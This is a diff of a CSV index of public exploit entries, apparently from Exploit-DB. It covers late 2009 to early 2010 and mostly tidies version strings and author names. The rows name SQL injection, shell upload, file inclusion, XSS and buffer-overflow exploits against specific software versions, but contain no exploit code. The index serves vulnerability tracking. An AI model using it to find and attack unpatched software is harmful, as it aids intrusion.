 10796,platforms/asp/webapps/10796.txt,"ezscheduler Remote Database Disclosure Vulnerability",2009-12-30,RENO,asp,webapps,0
-10797,platforms/windows/local/10797.py,"Quick Player v1.2 Unicode Buffer Overflow Exploit",2009-12-30,mr_me,windows,local,0
-10798,platforms/php/webapps/10798.txt,"iDevAffiliate v4.0 Backup Vulnerability",2009-12-30,indoushka,php,webapps,0
-10800,platforms/php/webapps/10800.txt,"I-RATER Basic Shell Upload Vulnerability",2009-12-30,indoushka,php,webapps,0
-10802,platforms/php/webapps/10802.txt,"PicMe v2.1.0 Upload Shell Vulnerability",2009-12-30,indoushka,php,webapps,0
-10803,platforms/php/webapps/10803.txt,"UBB.threads v6 RFI Vulnerability",2009-12-30,indoushka,php,webapps,0
-10805,platforms/php/webapps/10805.txt,"Diesel Job Site 1.4 Multiple Vulnerabilities",2009-12-30,indoushka,php,webapps,0
-10806,platforms/php/webapps/10806.txt,"LiveZilla v3.1.8.3 XSS Vulnerability",2009-12-30,MaXe,php,webapps,0
+10797,platforms/windows/local/10797.py,"Quick Player 1.2 - Unicode Buffer Overflow Exploit",2009-12-30,mr_me,windows,local,0
+10798,platforms/php/webapps/10798.txt,"iDevAffiliate 4.0 - Backup Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10800,platforms/php/webapps/10800.txt,"I-RATER Basic Shell Upload Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10802,platforms/php/webapps/10802.txt,"PicMe 2.1.0 - Upload Shell Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10803,platforms/php/webapps/10803.txt,"UBB Threads 6.0 - RFI Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10805,platforms/php/webapps/10805.txt,"Diesel Job Site 1.4 Multiple Vulnerabilities",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10806,platforms/php/webapps/10806.txt,"LiveZilla 3.1.8.3 - XSS Vulnerability",2009-12-30,MaXe,php,webapps,0
 10807,platforms/php/webapps/10807.txt,"XOOPS Module dictionary 2.0.18 (detail.php) SQL Injection Vulnerability",2009-12-30,Palyo34,php,webapps,0
 10808,platforms/php/webapps/10808.txt,"PHP-Fusion Mod avatar_studio LFI",2009-12-30,bonobug,php,webapps,0
 10809,platforms/php/webapps/10809.txt,"I-Escorts Directory (country_escorts.php country_id) SQL Injection Vulnerability",2009-12-30,R3d-D3v!L,php,webapps,0
-10810,platforms/php/webapps/10810.txt,"FlashChat v3.9.3.1 PHP info Vulnerability",2009-12-30,indoushka,php,webapps,0
-10811,platforms/php/webapps/10811.txt,"Joomla.Tutorials GHDB: Apache directory listing Download Vulnerability",2009-12-30,indoushka,php,webapps,0
+10810,platforms/php/webapps/10810.txt,"FlashChat 3.9.3.1 - PHP info Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10811,platforms/php/webapps/10811.txt,"Joomla.Tutorials GHDB: Apache directory listing Download Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
 10812,platforms/php/webapps/10812.txt,"WHOISCART Scripting Vulnerability",2009-12-30,HAQIQ20,php,webapps,0
-10813,platforms/php/webapps/10813.txt,"ArticleLive PHP Version 2005.0.0 Cross Site Scripting Vulnerability",2009-12-30,indoushka,php,webapps,0
-10816,platforms/php/webapps/10816.txt,"Aptgp.v1.3.0c Cross Site Scripting Vulnerability",2009-12-30,indoushka,php,webapps,0
+10813,platforms/php/webapps/10813.txt,"ArticleLive PHP 2005.0.0 - Cross Site Scripting Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
+10816,platforms/php/webapps/10816.txt,"Aptgp.1.3.0c - Cross Site Scripting Vulnerability",2009-12-30,"indoushka salah el ddine",php,webapps,0
 10817,platforms/php/webapps/10817.txt,"Joomla Component com_airmonoblock Blind SQL Injection Vulnerability",2009-12-30,Pyske,php,webapps,0
 10819,platforms/asp/webapps/10819.txt,"gallery_show.asp GID suffer from Blind SQL Injection Vulnerability",2009-12-30,R3d-D3v!L,asp,webapps,0
 10820,platforms/php/dos/10820.sh,"0day Joomla Core <= 1.5.x com_component DOS",2009-12-31,emgent,php,dos,80
-10821,platforms/multiple/webapps/10821.txt,"WingFTP Server v3.2.4 CSRF Vulnerability",2009-12-30,Ams,multiple,webapps,0
+10821,platforms/multiple/webapps/10821.txt,"WingFTP Server 3.2.4 - CSRF Vulnerability",2009-12-30,Ams,multiple,webapps,0
 10822,platforms/php/webapps/10822.txt,"Joomla Component com_rd_download Local File Disclosure Vulnerability",2009-12-30,FL0RiX,php,webapps,0
 10823,platforms/asp/webapps/10823.txt,"UranyumSoft Ưlan Servisi Database Disclosure Vulnerability",2009-12-30,LionTurk,asp,webapps,0
 10824,platforms/php/webapps/10824.txt,"K-Rate SQL Injection Vulnerability",2009-12-30,e.wiZz,php,webapps,0
@@ -10035,60 +10035,60 @@ id,file,description,date,author,platform,type,port
 10835,platforms/php/webapps/10835.txt,"Jax Calendar 1.34 Remote Admin Access Exploit",2009-12-30,Sora,php,webapps,0
 10836,platforms/php/webapps/10836.txt,"elkagroup (pid) Remote SQL Injection Vulnerability",2009-12-30,"Hussin X",php,webapps,0
 10837,platforms/php/webapps/10837.txt,"Quick Poll (code.php id) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
-10838,platforms/php/webapps/10838.txt,"list Web  (addlink.php id) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
+10838,platforms/php/webapps/10838.txt,"list Web (addlink.php id) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
 10839,platforms/php/webapps/10839.txt,"Classified Ads Scrip (store_info.php id) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
-10840,platforms/windows/dos/10840.pl,"VLC v1.0.3 Denial of Service PoC",2009-12-31,"D3V!L FUCKER",windows,dos,0
+10840,platforms/windows/dos/10840.pl,"VLC 1.0.3 - Denial of Service PoC",2009-12-31,"D3V!L FUCKER",windows,dos,0
 10841,platforms/php/webapps/10841.pl,"pL-PHP <= beta 0.9 Local File Include Exploit",2009-12-31,cr4wl3r,php,webapps,0
 10842,platforms/windows/dos/10842.py,"SimplePlayer v0.2 0day (.wav) overflow DOS Exploit",2009-12-31,mr_me,windows,dos,0
 10844,platforms/php/webapps/10844.txt,"Joomla Component com_portfol SQL Injection Vulnerability",2009-12-31,"wlhaan hacker",php,webapps,0
 10845,platforms/php/webapps/10845.txt,"fileNice php file browser RFI and LFI Vulnerabilities",2009-12-31,e.wiZz,php,webapps,0
 10846,platforms/php/webapps/10846.txt,"Weatimages Directory Traversal and LFI Vulnerabilities",2009-12-31,e.wiZz,php,webapps,0
 10847,platforms/php/webapps/10847.txt,"Joomla Component com_mdigg SQL Injection Vulnerability",2009-12-31,"wlhaan hacker",php,webapps,0
-10850,platforms/php/webapps/10850.txt,"HLstatsX v1.65 SQL Injection Vulnerability",2009-12-31,bnc,php,webapps,0
-10861,platforms/php/webapps/10861.txt,"Discuz <= 1.03 SQL Injection Exploit Vulnerability",2009-12-31,indoushka,php,webapps,0
+10850,platforms/php/webapps/10850.txt,"HLstatsX 1.65 - SQL Injection Vulnerability",2009-12-31,bnc,php,webapps,0
+10861,platforms/php/webapps/10861.txt,"Discuz <= 1.03 SQL Injection Exploit Vulnerability",2009-12-31,"indoushka salah el ddine",php,webapps,0
 10869,platforms/php/webapps/10869.txt,"PhotoDiary 1.3 (lng) LFI Vulnerability",2009-12-31,cOndemned,php,webapps,0
 10870,platforms/multiple/dos/10870.html,"Opera 10.10 Status Bar Obfuscation",2009-12-31,"599eme Man",multiple,dos,0
 10871,platforms/php/webapps/10871.txt,"Freewebscript'z Games (Auth Bypass) SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
 10872,platforms/php/webapps/10872.txt,"Pre ADS Portal (cid) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
-10873,platforms/php/webapps/10873.txt,"Myiosoft EasyGallery (catid)  Blind SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
+10873,platforms/php/webapps/10873.txt,"Myiosoft EasyGallery (catid) Blind SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
 10874,platforms/php/webapps/10874.txt,"Pre News Manager (nid) Remote SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
 10876,platforms/php/webapps/10876.txt,"PHP-MySQL-Quiz SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
-10877,platforms/php/webapps/10877.txt,"php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
-10878,platforms/php/webapps/10878.txt,"Invision Power Board (Trial) 2.0.4 - Backup Vulnerability",2009-12-31,indoushka,php,webapps,0
+10877,platforms/php/webapps/10877.txt,"php-addressbook 3.1.5 - (edit.php) SQL Injection Vulnerability",2009-12-31,"Hussin X",php,webapps,0
+10878,platforms/php/webapps/10878.txt,"Invision Power Board (Trial) 2.0.4 - Backup Vulnerability",2009-12-31,"indoushka salah el ddine",php,webapps,0
 10879,platforms/windows/dos/10879.html,"Google Chrome 3.0195.38 Status Bar Obfuscation",2009-12-31,"599eme Man",windows,dos,0
 10880,platforms/php/webapps/10880.php,"bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit",2009-12-31,cOndemned,php,webapps,0
 10881,platforms/windows/dos/10881.pl,"Apollo Player 37.0.0.0 .aap BOF DOS Vulnerability",2009-12-31,jacky,windows,dos,0
-10882,platforms/php/webapps/10882.txt,"Kayako eSupport v3.04.10 XSS/CSRF Vulnerabilities",2009-12-31,"D3V!L FUCKER",php,webapps,0
+10882,platforms/php/webapps/10882.txt,"Kayako eSupport 3.04.10 - XSS/CSRF Vulnerabilities",2009-12-31,"D3V!L FUCKER",php,webapps,0
 10883,platforms/asp/webapps/10883.txt,"BlogWorx 1.0 Blog Database Disclosure Vulnerability",2010-01-01,LionTurk,asp,webapps,0
 10884,platforms/asp/webapps/10884.txt,"ArticleLive (blogs.php?Id) SQL Injection Vulnerability",2010-01-01,Baybora,asp,webapps,0
 10885,platforms/php/webapps/10885.txt,"Cype CMS SQL Injection Vulnerability",2010-01-01,Sora,php,webapps,0
 10889,platforms/php/webapps/10889.txt,"DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability",2010-01-01,Palyo34,php,webapps,0
-10891,platforms/php/webapps/10891.txt,"UCStats v1.1 SQL Injection Vulnerability",2010-01-01,Sora,php,webapps,0
+10891,platforms/php/webapps/10891.txt,"UCStats 1.1 - SQL Injection Vulnerability",2010-01-01,Sora,php,webapps,0
 10897,platforms/php/webapps/10897.txt,"WD-CMS 3.0 Multiple Vulnerabilities",2010-01-01,Sora,php,webapps,0
-10899,platforms/php/webapps/10899.txt,"XlentCMS V1.0.4 (downloads.php?cat) SQL Injection Vulnerability",2010-01-01,Gamoscu,php,webapps,0
+10899,platforms/php/webapps/10899.txt,"XlentCMS 1.0.4 - (downloads.php?cat) SQL Injection Vulnerability",2010-01-01,Gamoscu,php,webapps,0
 10901,platforms/php/webapps/10901.txt,"DZOIC Handshakes Auth Bypass SQL Injection",2010-01-01,R3d-D3v!L,php,webapps,0
-10902,platforms/windows/dos/10902.pl,"Nero Express v7.9.6.4 Local Heap PoC",2010-01-01,"D3V!L FUCKER",windows,dos,0
-10903,platforms/asp/webapps/10903.txt,"Mini-NUKE v2.3 Freehost  Multiple Vulnerabilities",2010-01-01,LionTurk,asp,webapps,0
+10902,platforms/windows/dos/10902.pl,"Nero Express 7.9.6.4 - Local Heap PoC",2010-01-01,"D3V!L FUCKER",windows,dos,0
+10903,platforms/asp/webapps/10903.txt,"Mini-NUKE 2.3 - Freehost Multiple Vulnerabilities",2010-01-01,LionTurk,asp,webapps,0
 10904,platforms/windows/dos/10904.pl,"Switch Sound File Converter .mpga BOF DOS",2010-01-01,Jacky,windows,dos,0
 10905,platforms/php/webapps/10905.txt,"Joomla Component com_avosbillets Blind SQL Injection Vulnerability",2010-01-01,Pyske,php,webapps,0
 10906,platforms/php/webapps/10906.txt,"DZOIC ClipHouse suffer from auth bypass remote sql injection",2010-01-02,R3d-D3v!L,php,webapps,0
-10907,platforms/windows/dos/10907.pl,"VSO Medoa Player Version 1.0.2.2 Local Denial Of Services poc",2010-01-02,SarBoT511,windows,dos,0
+10907,platforms/windows/dos/10907.pl,"VSO Medoa Player 1.0.2.2 - Local Denial Of Services poc",2010-01-02,sarbot511,windows,dos,0
 10908,platforms/windows/dos/10908.pl,"GOM player V 2.1.9 Local crash poc",2010-01-02,SarBoT511,windows,dos,0
 10909,platforms/windows/dos/10909.pl,"MP4 Player 4.0 Local Crash Poc",2010-01-02,SarBoT511,windows,dos,0
 10910,platforms/php/webapps/10910.txt,"HLstatsX Community Edition 1.6.5 Cross Site Scripting Vulnerability",2010-01-02,Sora,php,webapps,0
 10911,platforms/windows/remote/10911.py,"NetTransport Download Manager version:2.90.510 0day",2010-01-02,Lincoln,windows,remote,0
 10912,platforms/php/webapps/10912.txt,"Proxyroll.com Clone PHP Script Cookie Handling Vulnerability",2010-01-02,DigitALL,php,webapps,0
-10920,platforms/windows/dos/10920.cpp,"VirtualDJ Trial v6.0.6 ""New Year Edition"" m3u Exploit (0day)",2010-01-02,"fl0 fl0w",windows,dos,0
-10921,platforms/php/webapps/10921.txt,"eazyPortal v1.0.0 Multiple Vulnerabilities",2010-01-02,"Milos Zivanovic",php,webapps,0
+10920,platforms/windows/dos/10920.cpp,"VirtualDJ Trial 6.0.6 ""New Year Edition"" - .m3u Exploit (0day)",2010-01-02,"fl0 fl0w",windows,dos,0
+10921,platforms/php/webapps/10921.txt,"eazyPortal 1.0.0 - Multiple Vulnerabilities",2010-01-02,"Milos Zivanovic",php,webapps,0
 10923,platforms/php/webapps/10923.txt,"SuperLink Script <= 1.0 (id) SQL Injection Vulnerability",2010-01-02,Red-D3v1L,php,webapps,0
-10924,platforms/php/webapps/10924.txt,"AL-Athkat.v2.0 Cross Site Scripting Vulnerability",2010-01-02,indoushka,php,webapps,0
+10924,platforms/php/webapps/10924.txt,"AL-Athkat.2.0 - Cross Site Scripting Vulnerability",2010-01-02,"indoushka salah el ddine",php,webapps,0
 10928,platforms/php/webapps/10928.txt,"Joomla Component com_dailymeals LFI Vulnerability",2010-01-02,FL0RiX,php,webapps,0
 10929,platforms/php/webapps/10929.txt,"Wordpress Events Plugin SQL Injection Vulnerability",2010-01-02,Red-D3v1L,php,webapps,0
 10930,platforms/php/webapps/10930.txt,"Left 4 Dead Stats 1.1 SQL Injection Vulnerability",2010-01-02,Sora,php,webapps,0
-10931,platforms/php/webapps/10931.txt,"X7CHAT v1.3.6b Add Admin Exploit",2010-01-02,d4rk-h4ck3r,php,webapps,0
-10936,platforms/windows/local/10936.c,"PlayMeNow Malformed M3U Playlist  BOF WinXP SP2 Fr",2010-01-03,bibi-info,windows,local,0
-10938,platforms/php/webapps/10938.txt,"Service d'upload v1.0.0 Shell Upload Vulnerability",2010-01-03,indoushka,php,webapps,0
-10940,platforms/asp/webapps/10940.txt,"Football Pool v3.1 Database Disclosure Vulnerability",2010-01-03,LionTurk,asp,webapps,0
+10931,platforms/php/webapps/10931.txt,"X7CHAT 1.3.6b - Add Admin Exploit",2010-01-02,d4rk-h4ck3r,php,webapps,0
+10936,platforms/windows/local/10936.c,"PlayMeNow Malformed M3U Playlist BOF WinXP SP2 Fr",2010-01-03,bibi-info,windows,local,0
+10938,platforms/php/webapps/10938.txt,"Service d'upload 1.0.0 - Shell Upload Vulnerability",2010-01-03,"indoushka salah el ddine",php,webapps,0
+10940,platforms/asp/webapps/10940.txt,"Football Pool 3.1 - Database Disclosure Vulnerability",2010-01-03,LionTurk,asp,webapps,0
 10941,platforms/php/webapps/10941.php,"Joomla Component com_aprice Blind SQL Injection Exploit",2010-01-03,FL0RiX,php,webapps,0
 10942,platforms/php/webapps/10942.txt,"Joomla Component com_cartweberp LFI Vulnerability",2010-01-03,FL0RiX,php,webapps,0
 10943,platforms/php/webapps/10943.txt,"Joomla Component com_biblestudy LFI Vulnerability",2010-01-03,FL0RiX,php,webapps,0
@@ -10097,11 +10097,11 @@ id,file,description,date,author,platform,type,port
 10946,platforms/php/webapps/10946.txt,"Joomla Component com_bfsurvey LFI Vulnerability",2010-01-03,FL0RiX,php,webapps,0
 10947,platforms/hardware/dos/10947.txt,"Facebook for iPhone persistent XSS DOS",2010-01-03,marco_,hardware,dos,0
 10948,platforms/php/webapps/10948.txt,"Joomla Component com_abbrev Local File Inclusion Vulnerability",2010-01-03,FL0RiX,php,webapps,0
-10949,platforms/php/webapps/10949.txt,"Joomla Component com_countries  SQL Injection Vulnerability",2010-01-03,FL0RiX,php,webapps,0
+10949,platforms/php/webapps/10949.txt,"Joomla Component com_countries SQL Injection Vulnerability",2010-01-03,FL0RiX,php,webapps,0
 10950,platforms/php/webapps/10950.txt,"Joomla Component com_tpjobs Blind SQL injection Vulnerability",2010-01-03,FL0RiX,php,webapps,0
 10952,platforms/php/webapps/10952.txt,"Joomla Component com_alfresco SQL Injection Vulnerability",2010-01-03,FL0RiX,php,webapps,0
 10953,platforms/php/webapps/10953.txt,"Joomla Component com_hotbrackets Blind SQL Injection Vulnerability",2010-01-03,FL0RiX,php,webapps,0
-10955,platforms/asp/webapps/10955.txt,"MasterWeb Script <== 1.0 (details&newsID) SQL Injection Vulnerability",2010-01-03,Red-D3v1L,asp,webapps,0
+10955,platforms/asp/webapps/10955.txt,"MasterWeb Script <= 1.0 - (details&newsID) SQL Injection Vulnerability",2010-01-03,Red-D3v1L,asp,webapps,0
 10960,platforms/multiple/dos/10960.pl,"Google Chrome 4.0.249.30 DoS PoC",2010-01-03,Anonymous,multiple,dos,0
 10962,platforms/php/webapps/10962.txt,"Live TV Script SQL Injection Vulnerability",2010-01-03,R3d-D3v!L,php,webapps,0
 10964,platforms/php/webapps/10964.txt,"Joomla Bridge of Hope Template SQL Injection Vulnerability",2010-01-03,R3d-D3v!L,php,webapps,0
@@ -10110,34 +10110,34 @@ id,file,description,date,author,platform,type,port
 10967,platforms/php/webapps/10967.txt,"Rezervi <= 3.0.2 (mail.inc.php) RFI Vulnerability",2010-01-03,r00t.h4x0r,php,webapps,0
 10968,platforms/php/webapps/10968.txt,"Portal ModulNet <= 1.0 (Id) SQL Injection Vulnerability",2010-01-03,Red-D3v1L,php,webapps,0
 10971,platforms/php/webapps/10971.txt,"Joomla Bamboo Simpla Admin Template SQL Injection Vulnerability",2010-01-03,R3d-D3v!L,php,webapps,0
-10972,platforms/asp/webapps/10972.txt,"Acidcat CMS v3.5  Multiple Vulnerabilities",2010-01-03,LionTurk,asp,webapps,0
-10973,platforms/windows/remote/10973.py,"BigAnt Server v2.52 Remote Buffer Overflow Exploit 2",2010-01-03,DouBle_Zer0,windows,remote,0
-10974,platforms/php/webapps/10974.txt,"Simple Portal V2.0 <== Auth Bypass",2010-01-03,Red-D3v1L,php,webapps,0
+10972,platforms/asp/webapps/10972.txt,"Acidcat CMS 3.5 - Multiple Vulnerabilities",2010-01-03,LionTurk,asp,webapps,0
+10973,platforms/windows/remote/10973.py,"BigAnt Server 2.52 - Remote Buffer Overflow Exploit 2",2010-01-03,DouBle_Zer0,windows,remote,0
+10974,platforms/php/webapps/10974.txt,"Simple Portal <= 2.0 - Auth Bypass",2010-01-03,Red-D3v1L,php,webapps,0
 10976,platforms/php/webapps/10976.txt,"WorldPay Script Shop (productdetail) SQL Injection Vulnerability",2010-01-03,Err0R,php,webapps,0
 10977,platforms/php/webapps/10977.txt,"Smart Vsion Script News (newsdetail) SQL Injection Vulnerability",2010-01-03,Err0R,php,webapps,0
-10978,platforms/php/webapps/10978.txt,"Elite Gaming Ladders v3.0 SQL Injection Exploit",2010-01-03,Sora,php,webapps,0
+10978,platforms/php/webapps/10978.txt,"Elite Gaming Ladders 3.0 - SQL Injection Exploit",2010-01-03,Sora,php,webapps,0
 10979,platforms/php/webapps/10979.txt,"Joomla component com_oziogallery2 / IMAGIN arbitrary file write",2010-01-03,"Ubik and er",php,webapps,0
-10980,platforms/linux/remote/10980.txt,"Skype for Linux (<=2.1 Beta) multiple strange behavior",2010-01-04,"emgent and crossbower",linux,remote,0
+10980,platforms/linux/remote/10980.txt,"Skype for Linux <= 2.1 Beta - Multiple Strange Behavior",2010-01-04,"emgent and crossbower",linux,remote,0
 10981,platforms/php/webapps/10981.pl,"Smart Vision Script News (newsdetail) SQL Injection Exploit",2010-01-04,darkmasking,php,webapps,0
-10983,platforms/php/webapps/10983.txt,"Pay Per Minute Video Chat Script v2.0 and 2.1 Multiple Vulnerabilities",2010-01-04,R3d-D3v!L,php,webapps,0
-10984,platforms/php/webapps/10984.txt,"Joomla component com_cartikads  Remote File Upload Vulnerability",2010-01-04,kaMtiEz,php,webapps,0
-10986,platforms/php/webapps/10986.txt,"Gbook MX v4.1.0 Arabic Version File Inclusion Vulnerability",2010-01-04,indoushka,php,webapps,0
+10983,platforms/php/webapps/10983.txt,"Pay Per Minute Video Chat Script 2.0 & 2.1 - Multiple Vulnerabilities",2010-01-04,R3d-D3v!L,php,webapps,0
+10984,platforms/php/webapps/10984.txt,"Joomla component com_cartikads Remote File Upload Vulnerability",2010-01-04,kaMtiEz,php,webapps,0
+10986,platforms/php/webapps/10986.txt,"Gbook MX 4.1.0 - Arabic Version File Inclusion Vulnerability",2010-01-04,"indoushka salah el ddine",php,webapps,0
 10988,platforms/php/webapps/10988.txt,"Joomla Component com_j-projects Blind SQL Injection Vulnerability",2010-01-04,Pyske,php,webapps,0
-10991,platforms/php/webapps/10991.txt,"Ninja Blog v4.8 Multiple Vulnerabilities",2010-01-04,indoushka,php,webapps,0
-10999,platforms/multiple/webapps/10999.txt,"W-Agora 4.2.1 - Multiple Vulnerabilities",2010-01-04,indoushka,multiple,webapps,0
+10991,platforms/php/webapps/10991.txt,"Ninja Blog 4.8 - Multiple Vulnerabilities",2010-01-04,"indoushka salah el ddine",php,webapps,0
+10999,platforms/multiple/webapps/10999.txt,"W-Agora 4.2.1 - Multiple Vulnerabilities",2010-01-04,"indoushka salah el ddine",multiple,webapps,0
 11002,platforms/php/webapps/11002.txt,"ImagoScripts Deviant Art Clone SQL Injection Vulnerability",2010-01-04,alnjm33,php,webapps,0
 11003,platforms/php/webapps/11003.txt,"LightOpen CMS Remote File Inclusion (smarty.php)",2010-01-04,"Zer0 Thunder",php,webapps,0
-11005,platforms/asp/webapps/11005.txt,"KMSoft Guestbook v1.0 Database Disclosure Vulnerability",2010-01-04,LionTurk,asp,webapps,0
-11008,platforms/asp/webapps/11008.txt,"YP Portal MS-Pro Surumu 1.0 DB Download Vulnerability",2010-01-05,indoushka,asp,webapps,0
+11005,platforms/asp/webapps/11005.txt,"KMSoft Guestbook 1.0 - Database Disclosure Vulnerability",2010-01-04,LionTurk,asp,webapps,0
+11008,platforms/asp/webapps/11008.txt,"YP Portal MS-Pro Surumu 1.0 DB Download Vulnerability",2010-01-05,"indoushka salah el ddine",asp,webapps,0
 11009,platforms/multiple/dos/11009.pl,"Novell Netware CIFS And AFP Remote Memory Consumption DoS",2010-01-05,"Francis Provencher",multiple,dos,0
-11010,platforms/windows/local/11010.rb,"PlayMeNow v7.3 and 7.4 Buffer Overflow (meta)",2010-01-06,Blake,windows,local,0
+11010,platforms/windows/local/11010.rb,"PlayMeNow 7.3 & 7.4 - Buffer Overflow (meta)",2010-01-06,Blake,windows,local,0
 11012,platforms/php/webapps/11012.txt,"ITaco Group ITaco.biz (view_news) SQL Injection Vulnerability",2010-01-06,Err0R,php,webapps,0
 11013,platforms/php/webapps/11013.txt,"PHPDirector Game Edition Multiple Vulnerabilities (LFI/SQLi/Xss)",2010-01-06,"Zer0 Thunder",php,webapps,0
 11014,platforms/php/webapps/11014.txt,"Myuploader >> upload shell exploit",2010-01-06,S2K9,php,webapps,0
-11015,platforms/asp/webapps/11015.txt,"Lebi soft Ziyaretci Defteri_v7.5 DB Download Vulnerability",2010-01-06,"indoushka ",asp,webapps,0
-11016,platforms/asp/webapps/11016.txt,"Net Gitar Shopv1.0 DB Download Vulnerability",2010-01-06,indoushka,asp,webapps,0
-11017,platforms/php/webapps/11017.txt,"PHPDug version 2.0.0 Cross Site Scripting Vulnerability",2010-01-06,"indoushka ",php,webapps,0
-11018,platforms/asp/webapps/11018.txt,"VP-ASP Shopping Cart 7.0 DB Download Vulnerability",2010-01-06,indoushka,asp,webapps,0
+11015,platforms/asp/webapps/11015.txt,"Lebi soft Ziyaretci Defteri 7.5 - DB Download Vulnerability",2010-01-06,"indoushka salah el ddine",asp,webapps,0
+11016,platforms/asp/webapps/11016.txt,"Net Gitar Shop 1.0 - DB Download Vulnerability",2010-01-06,"indoushka salah el ddine",asp,webapps,0
+11017,platforms/php/webapps/11017.txt,"PHPDug 2.0.0 - Cross Site Scripting Vulnerability",2010-01-06,"indoushka salah el ddine",php,webapps,0
+11018,platforms/asp/webapps/11018.txt,"VP-ASP Shopping Cart 7.0 DB Download Vulnerability",2010-01-06,"indoushka salah el ddine",asp,webapps,0
 11019,platforms/php/webapps/11019.txt,"MobPartner Counter - Remote File Upload Vulnerability",2010-01-06,"wlhaan hacker",php,webapps,0
 11020,platforms/windows/dos/11020.pl,"[GOM Audio Local crash poc]",2010-01-06,applicationlayer,windows,dos,0
 11021,platforms/windows/dos/11021.txt,"Flashget 3.x IEHelper Remote Exec 0day PoC",2010-01-06,superli,windows,dos,0
@@ -10156,22 +10156,22 @@ id,file,description,date,author,platform,type,port
 11035,platforms/php/webapps/11035.txt,"Joomla Component com_king Blind SQL Injection Vulnerability",2010-01-06,Pyske,php,webapps,0
 11036,platforms/php/webapps/11036.txt,"RoundCube Webmail Multiple Vulerabilities",2010-01-06,"j4ck and Globus",php,webapps,0
 11043,platforms/hardware/dos/11043.txt,"Total Multimedia Features DoS PoC for Sony Ericsson Phones",2010-01-06,Aodrulez,hardware,dos,0
-11044,platforms/linux/dos/11044.txt,"Gnome Panel <= 2.28.0 Denial of Service PoC 0-day",2010-01-06,"Pietro Oliva",linux,dos,0
+11044,platforms/linux/dos/11044.txt,"Gnome Panel <= 2.28.0 - Denial of Service PoC (0day)",2010-01-06,"Pietro Oliva",linux,dos,0
 11045,platforms/php/webapps/11045.txt,"SpawCMS Editor Shell Upload Vulnerability",2010-01-06,j4ck,php,webapps,0
-11046,platforms/windows/local/11046.py,"Quick Player v1.2 Unicode BOF - bindshell",2010-01-06,sinn3r,windows,local,0
+11046,platforms/windows/local/11046.py,"Quick Player 1.2 -Unicode BOF - bindshell",2010-01-06,sinn3r,windows,local,0
 11047,platforms/php/webapps/11047.txt,"Zeeways Technology (product_desc.php) SQL Injection Vulnerability",2010-01-07,Gamoscu,php,webapps,0
 11048,platforms/php/webapps/11048.txt,"Ulisse's Scripts 2.6.1 ladder.php SQL Injection Vulnerability",2010-01-07,Sora,php,webapps,0
 11051,platforms/php/webapps/11051.txt,"AutoIndex PHP Script (index.php) Directory Traversal Vulnerability",2010-01-07,Red-D3v1L,php,webapps,0
 11052,platforms/windows/dos/11052.pl,"Kantaris 0.5.6 local Denial of service Poc",2010-01-07,Anonymous,windows,dos,0
 11053,platforms/windows/dos/11053.py,"ttplayer=5.6Beta3 Dos POC",2010-01-07,"t-bag YDteam",windows,dos,0
-11057,platforms/php/webapps/11057.txt,"Read Excel Script v1.1 Shell Upload Vulnerability",2010-01-07,Yozgat.Us,php,webapps,0
+11057,platforms/php/webapps/11057.txt,"Read Excel Script 1.1 - Shell Upload Vulnerability",2010-01-07,Yozgat.Us,php,webapps,0
 11059,platforms/windows/remote/11059.html,"JcomBand toolbar on IE ActiveX Buffer Overflow Exploit",2010-01-07,"germaya_x and D3V!L FUCKER",windows,remote,0
 11060,platforms/php/webapps/11060.txt,"0day Drupal <= 6.15 Multiple Permanent XSS",2010-01-07,emgent,php,webapps,80
 11061,platforms/php/webapps/11061.txt,"Joomla Component Regional Booking (id) Blind SQL Injection Vulnerability",2010-01-07,"Hussin X",php,webapps,0
 11062,platforms/windows/dos/11062.txt,"SopCast SopCore Control ActiveX Remote Exec 0day PoC",2010-01-08,superli,windows,dos,0
 11063,platforms/php/webapps/11063.txt,"CU Village CMS Site 1.0 (print_view) Blind SQL Injection Vulnerability",2010-01-08,Red-D3v1L,php,webapps,0
 11064,platforms/windows/dos/11064.txt,"UUSee ReliPlayer ActiveX Remote Exec 0day PoC",2010-01-08,superli,windows,dos,0
-11065,platforms/windows/dos/11065.html,"SPlayer XvidDecoder v3.3 ActiveX Remote Exec 0day PoC",2010-01-08,superli,windows,dos,0
+11065,platforms/windows/dos/11065.html,"SPlayer XvidDecoder 3.3 - ActiveX Remote Exec 0day PoC",2010-01-08,superli,windows,dos,0
 11068,platforms/php/webapps/11068.txt,"Joomla Component com_ksadvertiser SQL Injection Vulnerability",2010-01-08,FL0RiX,php,webapps,0
 11069,platforms/php/webapps/11069.txt,"DELTAScripts PHPLinks (catid) SQL Injection Vulnerability",2010-01-08,"Hamza 'MizoZ' N.",php,webapps,0
 11070,platforms/windows/dos/11070.txt,"Windows Live Messenger 2009 ActiveX DoS Vulnerability",2010-01-08,"HACKATTACK IT SECURITY GmbH",windows,dos,0
@@ -10190,12 +10190,12 @@ id,file,description,date,author,platform,type,port
 11088,platforms/php/webapps/11088.txt,"Joomla Component com_jcollection Directory Traversal",2010-01-10,FL0RiX,php,webapps,0
 11089,platforms/php/webapps/11089.txt,"Joomla Component com_jvideodirect Directory Traversal",2010-01-10,FL0RiX,php,webapps,0
 11090,platforms/php/webapps/11090.txt,"Joomla Component com_jashowcase Directory Traversal",2010-01-10,FL0RiX,php,webapps,0
